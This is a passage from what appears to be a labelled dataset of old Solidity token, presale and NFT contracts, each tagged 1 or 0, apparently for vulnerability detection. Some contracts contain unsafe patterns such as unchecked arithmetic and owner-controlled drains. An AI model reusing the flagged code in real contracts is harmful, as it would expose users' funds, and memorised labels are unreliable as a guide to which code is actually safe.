= balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Transfer(msg.sender, _to, _amount); Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract ERC223Receiver { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract SuccessfulERC223Receiver is ERC223Receiver { event Invoked(address from, uint value, bytes data); function tokenFallback(address _from, uint _value, bytes _data) public { Invoked(_from, _value, _data); } } contract FailingERC223Receiver is ERC223Receiver { function tokenFallback(address, uint, bytes) public { revert(); } } contract ERC223ReceiverWithoutTokenFallback { } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Mint(_to, _amount); Freezed(_to, _until, _amount); Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = 18; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = "EIB"; string constant TOKEN_SYMBOL = "EIB"; bool constant PAUSED = false; address constant TARGET_USER = 0xe397289EBbc1Fbcb860044bEfc9E9f5784d38950; bool constant CONTINUE_MINTING = false; } contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { using SafeMath for uint; function transfer(address _to, uint _value, bytes _data) public returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; return transfer(_to, _value, empty); } } contract EIB is Consts, FreezableMintableToken, BurnableToken, Pausable , ERC223Token { event Initialized(); bool public initialized = false; function EIB() public { init(); transferOwnership(TARGET_USER); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0xe397289ebbc1fbcb860044befc9e9f5784d38950)]; uint[1] memory amounts = [uint(30000000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } Initialized(); } function name() pure public returns (string _name) { return TOKEN_NAME; } function symbol() pure public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() pure public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
pragma solidity ^0.4.18; contract ERC20Interface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Gifto is ERC20Interface { uint public constant decimals = 5; string public constant symbol = "Gifto"; string public constant name = "Gifto"; bool public _selling = false; uint public _totalSupply = 10 ** 14; uint public _originalBuyPrice = 10 ** 10; address public owner; mapping(address => uint256) balances; mapping(address => bool) approvedInvestorList; mapping(address => uint256) deposit; address[] buyers; uint _icoPercent = 10; uint public _icoSupply = _totalSupply * _icoPercent / 100; uint public _minimumBuy = 10 ** 17; uint public _maximumBuy = 30 * 10 ** 18; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNotOwner() { require(msg.sender != owner); _; } modifier onSale() { require(_selling && (_icoSupply > 0) ); _; } modifier validOriginalBuyPrice() { require(_originalBuyPrice > 0); _; } modifier validInvestor() { require(approvedInvestorList[msg.sender]); _; } modifier validValue(){ require ( (msg.value >= _minimumBuy) && ( (deposit[msg.sender] + msg.value) <= _maximumBuy) ); _; } function() public payable validValue { if (deposit[msg.sender] == 0 && msg.value != 0){ buyers.push(msg.sender); } deposit[msg.sender] += msg.value; } function Gifto() public { owner = msg.sender; balances[owner] = _totalSupply; Transfer(0x0, owner, _totalSupply); } function totalSupply() public constant returns (uint256) { return _totalSupply; } function setIcoPercent(uint256 newIcoPercent) public onlyOwner returns (bool){ _icoPercent = newIcoPercent; _icoSupply = _totalSupply * _icoPercent / 100; } function setMinimumBuy(uint256 newMinimumBuy) public onlyOwner returns (bool){ _minimumBuy = newMinimumBuy; } function setMaximumBuy(uint256 newMaximumBuy) public onlyOwner returns (bool){ _maximumBuy = newMaximumBuy; } function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } function filterBuyers(bool isInvestor) private constant returns(address[] filterList){ address[] memory filterTmp = new address[](buyers.length); uint count = 0; for (uint i = 0; i < buyers.length; i++){ if(approvedInvestorList[buyers[i]] == isInvestor){ filterTmp[count] = buyers[i]; count++; } } filterList = new address[](count); for (i = 0; i < count; i++){ if(filterTmp[i] != 0x0){ filterList[i] = filterTmp[i]; } } } function getInvestorBuyers() public constant returns(address[]){ return filterBuyers(true); } function getNormalBuyers() public constant returns(address[]){ return filterBuyers(false); } function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } function getTotalDeposit() public constant returns(uint256 totalDeposit){ totalDeposit = 0; for (uint i = 0; i < buyers.length; i++){ totalDeposit += deposit[buyers[i]]; } } function deliveryToken(bool isInvestor) public onlyOwner validOriginalBuyPrice { uint256 sum = 0; for (uint i = 0; i < buyers.length; i++){ if(approvedInvestorList[buyers[i]] == isInvestor) { uint256 requestedUnits = deposit[buyers[i]] / _originalBuyPrice; if(requestedUnits <= _icoSupply && requestedUnits > 0 ){ balances[owner] -= requestedUnits; balances[buyers[i]] += requestedUnits; _icoSupply -= requestedUnits; Transfer(owner, buyers[i], requestedUnits); sum += deposit[buyers[i]]; deposit[buyers[i]] = 0; } } } owner.transfer(sum); } function returnETHforNormalBuyers() public onlyOwner{ for(uint i = 0; i < buyers.length; i++){ if (!approvedInvestorList[buyers[i]]) { uint256 buyerDeposit = deposit[buyers[i]]; deposit[buyers[i]] = 0; buyers[i].transfer(buyerDeposit); } } } function transfer(address _to, uint256 _amount) public returns (bool) { if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { revert(); } } function turnOnSale() onlyOwner public { _selling = true; } function turnOffSale() onlyOwner public { _selling = false; } function isSellingNow() public constant returns (bool) { return _selling; } function setBuyPrice(uint newBuyPrice) onlyOwner public { _originalBuyPrice = newBuyPrice; } function addInvestorList(address[] newInvestorList) onlyOwner public { for (uint i = 0; i < newInvestorList.length; i++){ approvedInvestorList[newInvestorList[i]] = true; } } function removeInvestorList(address[] investorList) onlyOwner public { for (uint i = 0; i < investorList.length; i++){ approvedInvestorList[investorList[i]] = false; } } function buy() payable onlyNotOwner validOriginalBuyPrice validInvestor onSale public returns (uint256 amount) { uint requestedUnits = msg.value / _originalBuyPrice ; require(requestedUnits <= _icoSupply); balances[owner] -= requestedUnits; balances[msg.sender] += requestedUnits; _icoSupply -= requestedUnits; Transfer(owner, msg.sender, requestedUnits); owner.transfer(msg.value); return requestedUnits; } function withdraw() onlyOwner public returns (bool) { return owner.send(this.balance); } }
1
pragma solidity ^0.4.15; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } interface Token { function transfer(address _to, uint256 _value) returns (bool); function balanceOf(address _owner) constant returns (uint256 balance); } contract PreSale is Ownable { using SafeMath for uint256; Token token; uint256 public constant RATE = 3900; uint256 public constant CAP = 2000; uint256 public constant START = 1528934400; uint256 public constant DAYS = 32; uint256 public constant initialTokens = 7800000 * 10**18; bool public initialized = false; uint256 public raisedAmount = 0; event BoughtTokens(address indexed to, uint256 value); modifier whenSaleIsActive() { assert(isActive()); _; } function PreSale(address _tokenAddr) { require(_tokenAddr != 0); token = Token(_tokenAddr); } function initialize() onlyOwner { require(initialized == false); require(tokensAvailable() == initialTokens); initialized = true; } function isActive() constant returns (bool) { return ( initialized == true && now >= START && now <= START.add(DAYS * 1 days) && goalReached() == false ); } function goalReached() constant returns (bool) { return (raisedAmount >= CAP * 1 ether); } function () payable { buyTokens(); } function buyTokens() payable whenSaleIsActive { uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(RATE); BoughtTokens(msg.sender, tokens); raisedAmount = raisedAmount.add(msg.value); token.transfer(msg.sender, tokens); owner.transfer(msg.value); } function tokensAvailable() constant returns (uint256) { return token.balanceOf(this); } function destroy() onlyOwner { uint256 balance = token.balanceOf(this); assert(balance > 0); token.transfer(owner, balance); selfdestruct(owner); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract batnani is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Batnani"; string public constant symbol = "BTNI"; uint public constant decimals = 10; uint public bonusDeadlineDefault = 30; uint public bonusDeadline = now + bonusDeadlineDefault * 1 days; uint256 public totalDistributed; uint256 public constant MIN_CONTRIBUTION = 1 ether / 10000; uint256 public totalSupply = 300000000e10; uint256 public tokensPerEth = 300000e10; uint256 public initialBonus = 100000e10; uint256 public zeroBonus = 1000e10; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event InitialBonusUpdated(uint _initialBonus); event InitialBonusZero(uint _initialZero); event Burn(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function updateInitialBonus(uint _initialBonus) public onlyOwner { initialBonus = _initialBonus; emit InitialBonusUpdated(_initialBonus); } function updateInitialZero(uint _initialZero) public onlyOwner { zeroBonus = _initialZero; emit InitialBonusZero(_initialZero); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonusInitial = 0; uint256 bonusZero = 0; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonusInitial = tokens + initialBonus; bonusZero = tokens + zeroBonus; if (msg.value <= 0 && msg.value < MIN_CONTRIBUTION && Claimed[investor] == false && now >= bonusDeadline) { distr(investor, bonusZero); Claimed[investor] = true; }else if( msg.value >= MIN_CONTRIBUTION && now >= bonusDeadline){ distr(investor, bonusInitial); }else{ distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { uint256 cek = totalSupply - totalDistributed; require(_value <= cek); uint256 counter = totalDistributed + totalSupply.sub(_value) - totalDistributed; totalSupply = counter; emit Burn(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
1
pragma solidity ^0.4.24; interface ERC165 { function supportsInterface(bytes4 _interfaceId) external view returns (bool); } contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721Receiver { bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } library AddressUtils { function isContract(address _addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(_addr) } return size > 0; } } contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) internal supportedInterfaces; constructor() public { _registerInterface(InterfaceId_ERC165); } function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 private constant ERC721_RECEIVED = 0x150b7a02; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; constructor() public { _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } function name() external view returns (string) { return name_; } function symbol() external view returns (string) { return symbol_; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract MarketInerface { function buyBlocks(address, uint16[]) external returns (uint) {} function sellBlocks(address, uint, uint16[]) external returns (uint) {} function isMarket() public view returns (bool) {} function isOnSale(uint16) public view returns (bool) {} function areaPrice(uint16[]) public view returns (uint) {} function importOldMEBlock(uint8, uint8) external returns (uint, address) {} } contract RentalsInterface { function rentOutBlocks(address, uint, uint16[]) external returns (uint) {} function rentBlocks(address, uint, uint16[]) external returns (uint) {} function blocksRentPrice(uint, uint16[]) external view returns (uint) {} function isRentals() public view returns (bool) {} function isRented(uint16) public view returns (bool) {} function renterOf(uint16) public view returns (address) {} } contract AdsInterface { function advertiseOnBlocks(address, uint16[], string, string, string) external returns (uint) {} function canAdvertiseOnBlocks(address, uint16[]) public view returns (bool) {} function isAds() public view returns (bool) {} } contract MEHAccessControl is Pausable { bool public isMEH = true; MarketInerface public market; RentalsInterface public rentals; AdsInterface public ads; event LogModuleUpgrade(address newAddress, string moduleName); modifier onlyMarket() { require(msg.sender == address(market)); _; } modifier onlyBalanceOperators() { require(msg.sender == address(market) || msg.sender == address(rentals)); _; } function adminSetMarket(address _address) external onlyOwner { MarketInerface candidateContract = MarketInerface(_address); require(candidateContract.isMarket()); market = candidateContract; emit LogModuleUpgrade(_address, "Market"); } function adminSetRentals(address _address) external onlyOwner { RentalsInterface candidateContract = RentalsInterface(_address); require(candidateContract.isRentals()); rentals = candidateContract; emit LogModuleUpgrade(_address, "Rentals"); } function adminSetAds(address _address) external onlyOwner { AdsInterface candidateContract = AdsInterface(_address); require(candidateContract.isAds()); ads = candidateContract; emit LogModuleUpgrade(_address, "Ads"); } } contract MehERC721 is ERC721Token("MillionEtherHomePage","MEH"), MEHAccessControl { function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { bool onSale = market.isOnSale(uint16(_tokenId)); address owner = ownerOf(_tokenId); bool spenderIsApprovedOrOwner = _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender); return ( (onSale && _spender == address(market)) || (!(onSale) && spenderIsApprovedOrOwner) ); } function _mintCrowdsaleBlock(address _to, uint16 _blockId) external onlyMarket whenNotPaused { if (totalSupply() <= 9999) { _mint(_to, uint256(_blockId)); } } function approve(address _to, uint256 _tokenId) public whenNotPaused { super.approve(_to, _tokenId); } function setApprovalForAll(address _to, bool _approved) public whenNotPaused { super.setApprovalForAll(_to, _approved); } function transferFrom( address _from, address _to, uint256 _tokenId ) public whenNotPaused { super.transferFrom(_from, _to, _tokenId); } } contract Accounting is MEHAccessControl { using SafeMath for uint256; mapping(address => uint256) public balances; event LogContractBalance(address payerOrPayee, int balanceChange); function withdraw() external whenNotPaused { address payee = msg.sender; uint256 payment = balances[payee]; require(payment != 0); assert(address(this).balance >= payment); balances[payee] = 0; payee.transfer(payment); emit LogContractBalance(payee, int256(-payment)); } function operatorTransferFunds( address _payer, address _recipient, uint _amount) external onlyBalanceOperators whenNotPaused { require(balances[_payer] >= _amount); _deductFrom(_payer, _amount); _depositTo(_recipient, _amount); } function depositFunds() internal whenNotPaused { _depositTo(msg.sender, msg.value); emit LogContractBalance(msg.sender, int256(msg.value)); } function _depositTo(address _recipient, uint _amount) internal { balances[_recipient] = balances[_recipient].add(_amount); } function _deductFrom(address _payer, uint _amount) internal { balances[_payer] = balances[_payer].sub(_amount); } function adminRescueFunds() external onlyOwner whenPaused { address payee = owner; uint256 payment = address(this).balance; payee.transfer(payment); } function canPay(uint _needed) internal view returns (bool) { return (msg.value.add(balances[msg.sender]) >= _needed); } } contract MEH is MehERC721, Accounting { event LogBuys( uint ID, 